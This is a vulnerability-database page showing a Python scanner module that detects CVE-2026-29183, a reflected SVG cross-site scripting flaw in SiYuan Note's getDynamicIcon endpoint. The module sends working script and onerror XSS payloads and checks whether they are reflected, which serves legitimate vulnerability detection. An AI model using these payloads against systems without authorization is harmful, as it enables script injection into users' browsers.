SiYuan Note - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2026-31807 | 10 Mar 202620:56 | – | attackerkb | |
| CVE-2026-31809 | 10 Mar 202620:58 | – | attackerkb | |
| CVE-2026-29183 | 6 Mar 202607:18 | – | attackerkb | |
| CVE-2026-29183 | 4 Mar 202603:48 | – | circl | |
| SiYuan 跨站脚本漏洞 | 6 Mar 202600:00 | – | cnnvd | |
| CVE-2026-29183 | 6 Mar 202607:18 | – | cve | |
| CVE-2026-29183 SiYuan: Unauthenticated reflected SVG XSS in `/api/icon/getDynamicIcon` (`type=8`) enables arbitrary JavaScript execution | 6 Mar 202607:18 | – | cvelist | |
| SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) | 17 Mar 202614:08 | – | github | |
| SiYuan: Unauthenticated Reflected XSS via SVG Injection in /api/icon/getDynamicIcon Endpoint | 4 Mar 202621:45 | – | github | |
| CVE-2026-29183 | 6 Mar 202607:18 | – | mend |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'SiYuan Note - Cross-Site Scripting Detection',
'description': "Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2026', 'siyuan', 'xss', 'svg'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6865-qjcf-286f',
'https://nvd.nist.gov/vuln/detail/CVE-2026-29183',
],
'cve': 'CVE-2026-29183',
}
def run(self):
for path in ('/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E<script>alert(document.domain)</script><text%3E', '/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E'):
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_any = ('<script>alert(document.domain)</script>', '</text><image href="x" onerror="alert(document.domain)">', 'id="dynamic_icon_type8',)
ctype_any = ('image/svg+xml',)
if (any(m in body for m in body_any)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='medium',
reason='SiYuan Note - Cross-Site Scripting detected',
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.2High risk
Vulners AI Score8.2
CVSS 3.16.1 - 9.3
EPSS0.00694
SSVC